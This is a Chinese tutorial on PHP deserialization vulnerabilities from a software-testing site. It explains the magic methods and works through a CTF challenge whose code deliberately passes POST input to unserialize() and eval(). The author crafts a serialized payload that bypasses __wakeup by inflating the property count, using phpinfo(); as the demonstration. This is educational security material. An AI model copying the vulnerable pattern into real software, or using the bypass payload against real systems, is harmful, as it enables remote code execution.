一篇文章带你走进反序列化漏洞

发表于:2020-7-14 07:31

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:HOLICZ    来源:网络

#
Bug
分享:
  前言
  这篇讲反序列化,可能不会很高深,但是看着会很懂,因为我之前就被反序列化整懵逼了
  直到现在我对反序列化还是不够深入,今天就刚好可以研究研究
  0×01.反序列化漏洞介绍
  序列化在内部没有漏洞,漏洞产生是应该程序在处理对象、魔术函数以及序列化相关的问题导致的 当传给unserialize()的参数可控时,那么用户就可以注入payload,进行反序列化的时候就可能触发对象中的一些魔术方法
  什么是序列化(serialize)? 对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 【将状态信息保存为字符串】
  什么是反序列化(unserialize)? 将字符串转换为状态信息 序列化 <—>反序列化
  PHP中的几个特殊的魔术方法
  1.__construct():当对象创建(new)时会自动调用,但在unserialize()时是不会 自动调用的(构造函数) 2.__destruct():当对象操作执行完毕后自动执行__destruct()函数的代码
  3.__wakeup:unserialize()时自动调用
  还有好多,我就不细讲了,关于其他的魔术方法可以百度百度
   __wakeup() //使用unserialize时触发
  __sleep() //使用serialize时触发
  __destruct() //对象被销毁时触发
  __call() //在对象上下文中调用不可访问的方法时触发
  __callStatic() //在静态上下文中调用不可访问的方法时触发
  __get() //用于从不可访问的属性读取数据
  __set() //用于将数据写入不可访问的属性
  __isset() //在不可访问的属性上调用isset()或empty()触发
  __unset() //在不可访问的属性上使用unset()时触发
  __toString() //把类当作字符串使用时触发
  __invoke() //当脚本尝试将对象调用为函数时触发
  0×02.通过demo理解反序列化漏洞
  如果不懂,实在不知道,可以狭义的理解
  序列化是 编码
  反序列化 是 解码
  下面的话我仔细解释
  <?php
  class test{
  var $test = "MSKJ";
  function __destruct(){
  //echo $this->test;
  }
  }
  $obj = new test();
  $ser = serialize($obj);
  echo $ser;
  ?>
   这里就用 __destruct演示,后面的实验我会用 __wakeup()来演示
  上面这段代码为序列化,可以理解成 编码

 O:4:"test":1:{s:4:"test";s:4:"MSKJ";}
  
    接下来就是就是解码(反序列化)
  像这个就可以打xss了,然后貌似基本的讲的差不多了
  这只是我个人理解,帮助大家快速建立一个理解,别说我误人子弟
  0×03. 通过某CTF题目继续潜入了解反序列化漏洞
  接下来就开始讲一下某CTF题目,对于反序列化,我一直模棱两可,之前是一直以为是优先级的问题,但是还是不好确定,就先把这个疑问放到一边了(如果哪位兄弟想探讨一下可以公众号私聊一下)
   <?php
  highlight_file(__FILE__);
  error_reporting(0);
  class convent{
  var $warn = "No hacker.";
  function __destruct(){
  eval($this->warn);
  }
  function __wakeup(){
  foreach(get_object_vars($this) as $k => $v) {
  $this->$k = null;
  }
  }
  }
  $cmd = $_POST[cmd];
  unserialize($cmd);
  ?>
  这边可以看出这个类用了两个方法
  1.__destruct: 对象操作执行完毕后自动执行该函数内的代码
  2.__wakeup: 遇到 unserialize 时触发
  这边的 __wakeup 是事件型的,如果没遇到 unserialize 就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法
  看到了一篇文章很好:https://mp.weixin.qq.com/s/JzGDyP6RGZ4xCxV4gqM2Sw 可以看看
   <?php
  header("Content-type: text/html; charset=utf-8");
  class people
  {
  public $name = "f1r3K0";
  public $age = '18';
  function __wakeup(){
  echo "这是 __wakeup()";
  echo "<br>";
  }
  function __construct(){
  echo "这是 __consrtuct()";
  echo "<br>";
  }
  function __destruct(){
  echo "这是 __destruct()";
  echo "<br>";
  }
  function __toString(){
  echo "这是 __toString";
  echo "<br>";
  }
  }
  $class =  new people();
  $class_ser = serialize($class);  //序列化
  print_r($class_ser);
  $class_unser = unserialize($class_ser); //反序列化
  print_r($class_unser);
  ?>
  通过这段代码,可以看出 __wakeup()是优先执行的,优先级高于 __destruct()
  那么再看看上面的ctf题目就懂了,因为遇到了unserialize 得先执行 __wakeup里面的内容,才能跑到我们想要的 __destruct()里面,所以得绕过这个 __wakeup
  关于 get_object_vars 是什么可以看看这篇文章:http://blog.sina.com.cn/s/blog_4ce89f200100rhrx.html
  其实就是遍历一下非静态的,可能有新手玩家不理解,没事,咱写一份代码就懂了,手工测试(这也是我最常用的方法)
   <?php
  header("Content-type: text/html; charset=utf-8");
  error_reporting(0);
  class object1 {
  var $warn = "No hacker.";
  function __destruct(){
  echo "这是魔术方法__destruct";
  echo "<br> ";
  echo "hello world";
  }
  function __wakeup(){
  $this->warn = null;
  print_r(get_object_vars($this));
  echo "<br>";
  }
  }
  $cmd = $_GET[cmd];
  unserialize($cmd);
  //$b = new convent();
  //$c = serialize($b);
  //echo $c;
  ?>
  
  看下输出结果,其实就是把 warn的值变为空,那么就懂了这个 __wakeup中的代码是干嘛的了
  
  就是把 warn的值进行过滤,把它变成空,所以我们不能让 __wakeup执行,目标明确,开始淦它~~~
  __wakeup是当反序列化成功时,才会调用,那我们让它失败呢?其实只要让它失败,就不会调用这个魔术方法了
 
  通过修改一下,让这个源码生成一个exp,当然,你也可以自己构造
  
 O:7:"convent":1:{s:4:"warn";s:10:"No hacker.";}
  里面的值是不可以修改的,但是可以修改的属性(变量)数大于实际的个数时,就可以绕过 __wakeup
  因为我看了好多讲这个绕过的方法,就直接一句修改属性大于实际个数,我是真的fo了,一句话就算原理,看得我都懵逼中……….. (遇到这种情况可以手动写份代码fuzz一下)
 O:7:"convent":2:{s:4:"warn";s:10:"No hacker.";}
  也就是把1改为其他数字就可以了,也可以改成10。然后把 No hacker改为 phpinfo();但是要注意修改 前面 s的值,因为 phpinfo();也是占了十位,所以不用去改
 O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}
  成功构造payload了,然后再post传参里面传入
 
  总结
  本篇文章也就是简单的了解下什么是 php反序列化,本篇文章虽然不长,但是讲了反序列化是什么,怎么形成反序列化漏洞。然后多个魔术方法情况下是看哪个先执行
  比如 __wakeip是个事件型的,遇到unserialize就会优先调用执行,但是__construct的执行顺序还是优先 __wakeup。当然,这只是举个例子,方法还是一样的

      本文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理

《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号